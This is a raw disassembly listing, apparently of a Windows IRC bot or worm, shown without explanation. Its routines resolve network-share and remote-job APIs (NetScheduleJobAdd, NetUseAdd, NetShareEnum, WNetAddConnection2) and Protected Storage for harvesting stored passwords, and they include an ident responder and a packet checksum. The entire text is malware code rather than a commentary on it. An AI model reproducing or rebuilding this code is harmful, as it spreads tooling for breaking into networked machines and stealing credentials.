locret_403586:				; CODE XREF: cAddress:00403581j
		leave
		retn
; ---------------------------------------------------------------------------


loc_403588:				; DATA XREF: sub_403BD3:loc_403D85o
		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_4035E2
		mov	eax, [ebp+10h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4035BB
		mov	eax, [ebp+10h]
		cmp	dword ptr [eax+4], 2
		jz	short loc_4035BB
		push	273Fh
		call	dword_417234	; WSASetLastError
		mov	eax, 273Fh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4035BB:				; CODE XREF: cAddress:0040359Bj
					; cAddress:004035A4j
		mov	eax, [ebp+10h]
		cmp	dword ptr [eax+8], 1
		jz	short loc_4035E2
		mov	eax, [ebp+10h]
		cmp	dword ptr [eax+8], 2
		jz	short loc_4035E2
		push	273Ch
		call	dword_417234	; WSASetLastError
		mov	eax, 273Ch
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4035E2:				; CODE XREF: cAddress:00403592j
					; cAddress:004035C2j ...
		cmp	dword ptr [ebp+8], 0
		jnz	loc_4036D6
		push	30h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp-34h], eax
		cmp	dword ptr [ebp-34h], 0
		jnz	short loc_40360D
		push	8
		call	dword_417234	; WSASetLastError
		push	8
		pop	eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_40360D:				; CODE XREF: cAddress:004035FBj
		push	30h
		push	0
		push	dword ptr [ebp-34h]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	10h
		push	0
		lea	eax, [ebp-30h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_40364C
		push	dword ptr [ebp+0Ch]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp-2Eh], ax


loc_40364C:				; CODE XREF: cAddress:00403636j
		mov	eax, [ebp-34h]
		mov	dword ptr [eax+4], 2
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_403667
		mov	eax, [ebp+10h]
		mov	eax, [eax+8]
		mov	[ebp-38h], eax
		jmp	short loc_40366E
; ---------------------------------------------------------------------------


loc_403667:				; CODE XREF: cAddress:0040365Aj
		mov	dword ptr [ebp-38h], 1


loc_40366E:				; CODE XREF: cAddress:00403665j
		mov	eax, [ebp-34h]
		mov	ecx, [ebp-38h]
		mov	[eax+8], ecx
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_403688
		mov	eax, [ebp+10h]
		mov	eax, [eax+0Ch]
		mov	[ebp-3Ch], eax
		jmp	short loc_40368F
; ---------------------------------------------------------------------------


loc_403688:				; CODE XREF: cAddress:0040367Bj
		mov	dword ptr [ebp-3Ch], 6


loc_40368F:				; CODE XREF: cAddress:00403686j
		mov	eax, [ebp-34h]
		mov	ecx, [ebp-3Ch]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp-34h]
		mov	dword ptr [eax+10h], 10h
		mov	eax, [ebp-34h]
		add	eax, 20h
		mov	ecx, [ebp-34h]
		mov	[ecx+18h], eax
		and	dword ptr [ebp-2Ch], 0
		push	10h
		lea	eax, [ebp-30h]
		push	eax
		mov	eax, [ebp-34h]
		add	eax, 20h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+14h]
		mov	ecx, [ebp-34h]
		mov	[eax], ecx
		xor	eax, eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4036D6:				; CODE XREF: cAddress:004035E6j
		push	dword ptr [ebp+8]
		call	dword_41723C	; gethostbyname
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-14h], 0
		jnz	short loc_4036F2
		mov	eax, 2AFBh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4036F2:				; CODE XREF: cAddress:004036E6j
		and	dword ptr [ebp-20h], 0
		jmp	short loc_4036FF
; ---------------------------------------------------------------------------


loc_4036F8:				; CODE XREF: cAddress:00403714j
		mov	eax, [ebp-20h]
		inc	eax
		mov	[ebp-20h], eax


loc_4036FF:				; CODE XREF: cAddress:004036F6j
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_403716
		mov	eax, [ebp-14h]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp-20h]
		cmp	dword ptr [eax+ecx*4], 0
		jz	short loc_403716
		jmp	short loc_4036F8
; ---------------------------------------------------------------------------


loc_403716:				; CODE XREF: cAddress:00403703j
					; cAddress:00403712j
		cmp	dword ptr [ebp-20h], 0
		jnz	short loc_403726
		mov	eax, 2AFBh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_403726:				; CODE XREF: cAddress:0040371Aj
		mov	eax, [ebp-20h]
		imul	eax, 30h
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp-1Ch], eax
		cmp	dword ptr [ebp-1Ch], 0
		jnz	short loc_40374C
		push	8
		call	dword_417234	; WSASetLastError
		push	8
		pop	eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_40374C:				; CODE XREF: cAddress:0040373Aj
		mov	eax, [ebp-20h]
		imul	eax, 30h
		push	eax
		push	0
		push	dword ptr [ebp-1Ch]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	10h
		push	0
		lea	eax, [ebp-10h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	word ptr [ebp-10h], 2
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_403790
		push	dword ptr [ebp+0Ch]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp-0Eh], ax


loc_403790:				; CODE XREF: cAddress:0040377Aj
		and	dword ptr [ebp-18h], 0
		jmp	short loc_40379D
; ---------------------------------------------------------------------------


loc_403796:				; CODE XREF: cAddress:loc_4038A7j
		mov	eax, [ebp-18h]
		inc	eax
		mov	[ebp-18h], eax


loc_40379D:				; CODE XREF: cAddress:00403794j
		mov	eax, [ebp-18h]
		cmp	eax, [ebp-20h]
		jnb	loc_4038AC
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_4037B9
		mov	eax, [ebp+10h]
		mov	eax, [eax]
		mov	[ebp-40h], eax
		jmp	short loc_4037C0
; ---------------------------------------------------------------------------


loc_4037B9:				; CODE XREF: cAddress:004037ADj
		mov	dword ptr [ebp-40h], 4


loc_4037C0:				; CODE XREF: cAddress:004037B7j
		mov	eax, [ebp-18h]
		imul	eax, 30h
		mov	ecx, [ebp-1Ch]
		mov	edx, [ebp-40h]
		mov	[ecx+eax], edx
		mov	eax, [ebp-18h]
		imul	eax, 30h
		mov	ecx, [ebp-1Ch]
		mov	dword ptr [ecx+eax+4], 2
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_4037F1
		mov	eax, [ebp+10h]
		mov	eax, [eax+8]
		mov	[ebp-44h], eax
		jmp	short loc_4037F8
; ---------------------------------------------------------------------------


loc_4037F1:				; CODE XREF: cAddress:004037E4j
		mov	dword ptr [ebp-44h], 1


loc_4037F8:				; CODE XREF: cAddress:004037EFj
		mov	eax, [ebp-18h]
		imul	eax, 30h
		mov	ecx, [ebp-1Ch]
		mov	edx, [ebp-44h]
		mov	[ecx+eax+8], edx
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_403819
		mov	eax, [ebp+10h]
		mov	eax, [eax+0Ch]
		mov	[ebp-48h], eax
		jmp	short loc_403820
; ---------------------------------------------------------------------------


loc_403819:				; CODE XREF: cAddress:0040380Cj
		mov	dword ptr [ebp-48h], 6


loc_403820:				; CODE XREF: cAddress:00403817j
		mov	eax, [ebp-18h]
		imul	eax, 30h
		mov	ecx, [ebp-1Ch]
		mov	edx, [ebp-48h]
		mov	[ecx+eax+0Ch], edx
		mov	eax, [ebp-18h]
		imul	eax, 30h
		mov	ecx, [ebp-1Ch]
		mov	dword ptr [ecx+eax+10h], 10h
		mov	eax, [ebp-18h]
		imul	eax, 30h
		mov	ecx, [ebp-1Ch]
		lea	eax, [ecx+eax+20h]
		mov	ecx, [ebp-18h]
		imul	ecx, 30h
		mov	edx, [ebp-1Ch]
		mov	[edx+ecx+18h], eax
		mov	eax, [ebp-14h]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp-18h]
		mov	eax, [eax+ecx*4]
		mov	eax, [eax]
		mov	[ebp-0Ch], eax
		push	10h
		lea	eax, [ebp-10h]
		push	eax
		mov	eax, [ebp-18h]
		imul	eax, 30h
		mov	ecx, [ebp-1Ch]
		lea	eax, [ecx+eax+20h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		cmp	dword ptr [ebp-18h], 0
		jz	short loc_4038A7
		mov	eax, [ebp-18h]
		imul	eax, 30h
		mov	ecx, [ebp-1Ch]
		add	ecx, eax
		mov	eax, [ebp-18h]
		dec	eax
		imul	eax, 30h
		mov	edx, [ebp-1Ch]
		mov	[edx+eax+1Ch], ecx


loc_4038A7:				; CODE XREF: cAddress:0040388Cj
		jmp	loc_403796
; ---------------------------------------------------------------------------


loc_4038AC:				; CODE XREF: cAddress:004037A3j
		mov	eax, [ebp+14h]
		mov	ecx, [ebp-1Ch]
		mov	[eax], ecx
		xor	eax, eax

locret_4038B6:				; CODE XREF: cAddress:004035B6j
					; cAddress:004035DDj ...
		leave
		retn	10h
; ---------------------------------------------------------------------------


loc_4038BA:				; DATA XREF: sub_403BD3+1BCo
		push	ebp
		mov	ebp, esp
		sub	esp, 434h
		cmp	dword ptr [ebp+10h], 0
		jnz	short loc_4038CF
		cmp	dword ptr [ebp+18h], 0
		jz	short loc_4038D8


loc_4038CF:				; CODE XREF: cAddress:004038C7j
		mov	eax, [ebp+20h]
		and	al, 0E0h
		test	eax, eax
		jz	short loc_4038ED


loc_4038D8:				; CODE XREF: cAddress:004038CDj
		push	2726h
		call	dword_417234	; WSASetLastError
		mov	eax, 2726h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4038ED:				; CODE XREF: cAddress:004038D6j
		mov	eax, [ebp+8]
		mov	[ebp-40Ch], eax
		mov	eax, [ebp-40Ch]
		movsx	eax, word ptr [eax]
		cmp	eax, 2
		jz	short loc_403919
		push	273Fh
		call	dword_417234	; WSASetLastError
		mov	eax, 273Fh
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403919:				; CODE XREF: cAddress:00403902j
		cmp	dword ptr [ebp+10h], 0
		jz	loc_403ABA
		mov	eax, [ebp-40Ch]
		push	dword ptr [eax+4]
		call	dword_41721C	; inet_ntoa
		mov	[ebp-434h], eax
		cmp	dword ptr [ebp-434h], 0
		jnz	short loc_403949
		or	eax, 0FFFFFFFFh
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403949:				; CODE XREF: cAddress:0040393Fj
		push	401h
		push	dword ptr [ebp-434h]
		lea	eax, [ebp-404h]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+20h]
		and	eax, 2
		test	eax, eax
		jz	short loc_403972
		jmp	loc_403BB4
; ---------------------------------------------------------------------------


loc_403972:				; CODE XREF: cAddress:0040396Bj
		mov	eax, [ebp+20h]
		and	eax, 4
		test	eax, eax
		jz	short loc_4039F4
		push	0
		push	4
		mov	eax, [ebp-40Ch]
		add	eax, 4
		push	eax
		call	dword_417220	; gethostbyaddr
		mov	[ebp-410h], eax
		cmp	dword ptr [ebp-410h], 0
		jnz	short loc_4039AA
		call	dword_417224	; WSAGetLastError
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4039AA:				; CODE XREF: cAddress:0040399Dj
		mov	eax, [ebp-410h]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+14h]
		jbe	short loc_4039D3
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4039D3:				; CODE XREF: cAddress:004039BCj
		push	401h
		mov	eax, [ebp-410h]
		push	dword ptr [eax]
		lea	eax, [ebp-404h]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	loc_403ABA
; ---------------------------------------------------------------------------


loc_4039F4:				; CODE XREF: cAddress:0040397Aj
		mov	eax, [ebp+20h]
		and	eax, 1
		test	eax, eax
		jz	loc_403A92
		mov	eax, [ebp-40Ch]
		cmp	dword ptr [eax+4], 7F000001h
		jz	short loc_403A1D
		mov	eax, [ebp-40Ch]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_403A92


loc_403A1D:				; CODE XREF: cAddress:00403A0Fj
		push	0
		push	4
		mov	eax, [ebp-40Ch]
		add	eax, 4
		push	eax
		call	dword_417220	; gethostbyaddr
		mov	[ebp-410h], eax
		cmp	dword ptr [ebp-410h], 0
		jnz	short loc_403A4B
		call	dword_417224	; WSAGetLastError
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403A4B:				; CODE XREF: cAddress:00403A3Ej
		mov	eax, [ebp-410h]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+14h]
		jbe	short loc_403A74
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403A74:				; CODE XREF: cAddress:00403A5Dj
		push	401h
		mov	eax, [ebp-410h]
		push	dword ptr [eax]
		lea	eax, [ebp-404h]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_403ABA
; ---------------------------------------------------------------------------


loc_403A92:				; CODE XREF: cAddress:004039FCj
					; cAddress:00403A1Bj ...
		lea	eax, [ebp-404h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+14h]
		jbe	short loc_403ABA
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403ABA:				; CODE XREF: cAddress:0040391Dj
					; cAddress:004039EFj ...
		cmp	dword ptr [ebp+18h], 0
		jz	loc_403B99
		push	8
		pop	eax
		test	eax, eax
		jz	short loc_403B2C
		push	0Ah
		lea	eax, [ebp-430h]
		push	eax
		mov	eax, [ebp-40Ch]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp-430h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+1Ch]
		jbe	short loc_403B19
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403B19:				; CODE XREF: cAddress:00403B02j
		lea	eax, [ebp-430h]
		push	eax
		push	dword ptr [ebp+18h]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_403B99
; ---------------------------------------------------------------------------


loc_403B2C:				; CODE XREF: cAddress:00403AC9j
		mov	eax, [ebp+20h]
		and	eax, 10h
		neg	eax
		sbb	eax, eax
		and	eax, offset aUdp ; "udp"
		push	eax
		mov	eax, [ebp-40Ch]
		movzx	eax, word ptr [eax+2]
		push	eax
		call	dword_417228	; getservbyport
		mov	[ebp-408h], eax
		cmp	dword ptr [ebp-408h], 0
		jnz	short loc_403B61
		or	eax, 0FFFFFFFFh
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403B61:				; CODE XREF: cAddress:00403B5Aj
		mov	eax, [ebp-408h]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+1Ch]
		jbe	short loc_403B87
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403B87:				; CODE XREF: cAddress:00403B73j
		mov	eax, [ebp-408h]
		push	dword ptr [eax]
		push	dword ptr [ebp+18h]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_403B99:				; CODE XREF: cAddress:00403ABEj
					; cAddress:00403B2Aj
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_403BB0
		lea	eax, [ebp-404h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_403BB0:				; CODE XREF: cAddress:00403B9Dj
		xor	eax, eax
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403BB4:				; CODE XREF: cAddress:0040396Dj
		jmp	loc_403A92
; ---------------------------------------------------------------------------

locret_403BB9:				; CODE XREF: cAddress:004038E8j
					; cAddress:00403914j ...
		leave
		retn	1Ch
; ---------------------------------------------------------------------------


loc_403BBD:				; DATA XREF: sub_403BD3+1C6o
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+8], 0
		jz	short loc_403BCF
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx


loc_403BCF:				; CODE XREF: cAddress:00403BC4j
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BD3	proc near		; CODE XREF: cAddress:loc_4168BCp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	offset aKernel32_dll ; "kernel32.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_403C00
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	[ebp+var_C]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE10, eax


loc_403C00:				; CODE XREF: sub_403BD3+18j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	loc_403CC3
		push	offset aNetusegetinfo ;	"NetUseGetInfo"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE18, eax
		push	offset aNetuseadd ; "NetUseAdd"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE1C, eax
		push	offset aNetusedel ; "NetUseDel"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE20, eax
		push	offset aNetuserenum ; "NetUserEnum"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE24, eax
		push	offset aNetshareenum ; "NetShareEnum"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE28, eax
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE2C, eax
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE30, eax
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE34, eax
		push	offset aNetaddalternat ; "NetAddAlternateComputerName"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE38, eax


loc_403CC3:				; CODE XREF: sub_403BD3+3Fj
		push	offset aMpr_dll	; "mpr.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_403D23
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE3C, eax
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE40, eax
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE44, eax
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE48, eax


loc_403D23:				; CODE XREF: sub_403BD3+102j
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_4], eax
		push	offset aGetaddrinfo ; "getaddrinfo"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE54, eax
		push	offset aGetnameinfo ; "getnameinfo"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE58, eax
		push	offset aFreeaddrinfo ; "freeaddrinfo"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE5C, eax
		cmp	dword_41DE54, 0
		jz	short loc_403D85
		cmp	dword_41DE58, 0
		jz	short loc_403D85
		cmp	dword_41DE5C, 0
		jnz	short loc_403DA3


loc_403D85:				; CODE XREF: sub_403BD3+19Ej
					; sub_403BD3+1A7j
		mov	dword_41DE54, offset loc_403588
		mov	dword_41DE58, offset loc_4038BA
		mov	dword_41DE5C, offset loc_403BBD


loc_403DA3:				; CODE XREF: sub_403BD3+1B0j
		push	offset aPstorec_dll ; "pstorec.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_403DCA
		push	offset aPstorecreatein ; "PStoreCreateInstance"
		push	[ebp+var_10]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE50, eax


loc_403DCA:				; CODE XREF: sub_403BD3+1E2j
		push	offset aWininet_dll ; "wininet.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short locret_403DF1
		push	offset aInternetgetcon ; "InternetGetConnectedStateExA"
		push	[ebp+var_18]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE4C, eax

locret_403DF1:				; CODE XREF: sub_403BD3+209j
		leave
		retn
sub_403BD3	endp

; ---------------------------------------------------------------------------


loc_403DF3:				; DATA XREF: sub_403FE5+89o
		push	ebp
		mov	ebp, esp
		mov	eax, 1228h
		call	sub_416BC0
		push	1ADh
		push	dword ptr [ebp+8]
		lea	eax, [ebp-11B0h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp-11ACh]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp-11B4h], eax
		cmp	dword ptr [ebp-11B4h], 0
		jnz	short loc_403E52
		push	dword ptr [ebp-11B0h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_403FE1
; ---------------------------------------------------------------------------


loc_403E52:				; CODE XREF: cAddress:00403E3Dj
		lea	eax, [ebp-11ACh]
		push	eax
		mov	eax, [ebp-11B0h]
		push	dword ptr [eax]
		push	offset dword_4189C4
		lea	eax, [ebp-11A6h]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_403E75:				; CODE XREF: cAddress:00403EB0j
					; cAddress:00403F02j ...
		push	3E8h
		push	dword ptr [ebp-11B4h]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp-11B8h], eax
		mov	eax, [ebp-11B0h]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_403EA2
		cmp	dword ptr [ebp-11B8h], 0
		jnz	short loc_403EA7


loc_403EA2:				; CODE XREF: cAddress:00403E97j
		jmp	loc_403FC7
; ---------------------------------------------------------------------------


loc_403EA7:				; CODE XREF: cAddress:00403EA0j
		cmp	dword ptr [ebp-11B8h], 0FFFFFFFFh
		jnz	short loc_403EB2
		jmp	short loc_403E75
; ---------------------------------------------------------------------------


loc_403EB2:				; CODE XREF: cAddress:00403EAEj
		push	1000h
		lea	eax, [ebp-1000h]
		push	eax
		push	dword ptr [ebp-11B8h]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp-1228h], eax
		cmp	dword ptr [ebp-1228h], 0
		jz	short loc_403EF6
		cmp	dword ptr [ebp-1228h], 0FFFFFFFFh
		jz	short loc_403EF6
		lea	eax, [ebp-1000h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 10h
		jbe	short loc_403F07


loc_403EF6:				; CODE XREF: cAddress:00403ED9j
					; cAddress:00403EE2j
		push	dword ptr [ebp-11B8h]
		call	sub_40538D
		pop	ecx
		jmp	loc_403E75
; ---------------------------------------------------------------------------


loc_403F07:				; CODE XREF: cAddress:00403EF4j
		movsx	eax, byte_41EE98
		test	eax, eax
		jz	short loc_403F27
		push	offset byte_41EE98
		lea	eax, [ebp-1224h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_403F57
; ---------------------------------------------------------------------------


loc_403F27:				; CODE XREF: cAddress:00403F10j
		lea	eax, [ebp-1200h]
		push	eax
		lea	eax, [ebp-1224h]
		push	eax
		lea	eax, [ebp-11DCh]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		lea	eax, [ebp-1224h]
		push	eax
		push	offset byte_41EE98
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_403F57:				; CODE XREF: cAddress:00403F25j
		push	offset aUseridUnix ; " : USERID	: UNIX : "
		lea	eax, [ebp-1000h]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp-1224h]
		push	eax
		lea	eax, [ebp-1000h]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp-1000h]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp-1000h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-1000h]
		push	eax
		push	dword ptr [ebp-11B8h]
		call	sub_4053BF
		add	esp, 0Ch
		push	dword ptr [ebp-11B8h]
		call	sub_40538D
		pop	ecx
		jmp	loc_403E75
; ---------------------------------------------------------------------------


loc_403FC7:				; CODE XREF: cAddress:loc_403EA2j
		push	dword ptr [ebp-11B4h]
		call	sub_404CBB
		pop	ecx
		push	dword ptr [ebp-11B0h]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_403FE1:				; CODE XREF: cAddress:00403E4Dj
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FE5	proc near		; CODE XREF: sub_40A9CF+EECp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_403FFD
		push	[ebp+arg_4]
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jnz	short loc_404004


loc_403FFD:				; CODE XREF: sub_403FE5+9j
		mov	[ebp+arg_4], offset dword_418A18


loc_404004:				; CODE XREF: sub_403FE5+16j
		push	1ADh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40401A
		jmp	short locret_40407B
; ---------------------------------------------------------------------------


loc_40401A:				; CODE XREF: sub_403FE5+31j
		push	6
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 0Ah
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_404059
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		test	eax, eax
		jz	short loc_404059
		and	[ebp+var_8], 0
		jmp	short loc_404060
; ---------------------------------------------------------------------------


loc_404059:				; CODE XREF: sub_403FE5+5Ej
					; sub_403FE5+6Cj
		mov	[ebp+var_8], 1


loc_404060:				; CODE XREF: sub_403FE5+72j
		push	[ebp+arg_4]
		push	offset dword_4189F8
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset loc_403DF3
		call	sub_4095A4
		add	esp, 14h

locret_40407B:				; CODE XREF: sub_403FE5+33j
		leave
		retn
sub_403FE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40407D	proc near		; CODE XREF: cAddress:00405D57p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0


loc_404085:				; CODE XREF: sub_40407D+2Cj
		cmp	[ebp+arg_4], 1
		jbe	short loc_4040AB
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		dec	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_404085
; ---------------------------------------------------------------------------


loc_4040AB:				; CODE XREF: sub_40407D+Cj
		cmp	[ebp+arg_4], 0
		jz	short loc_4040BF
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx


loc_4040BF:				; CODE XREF: sub_40407D+32j
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFh
		add	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
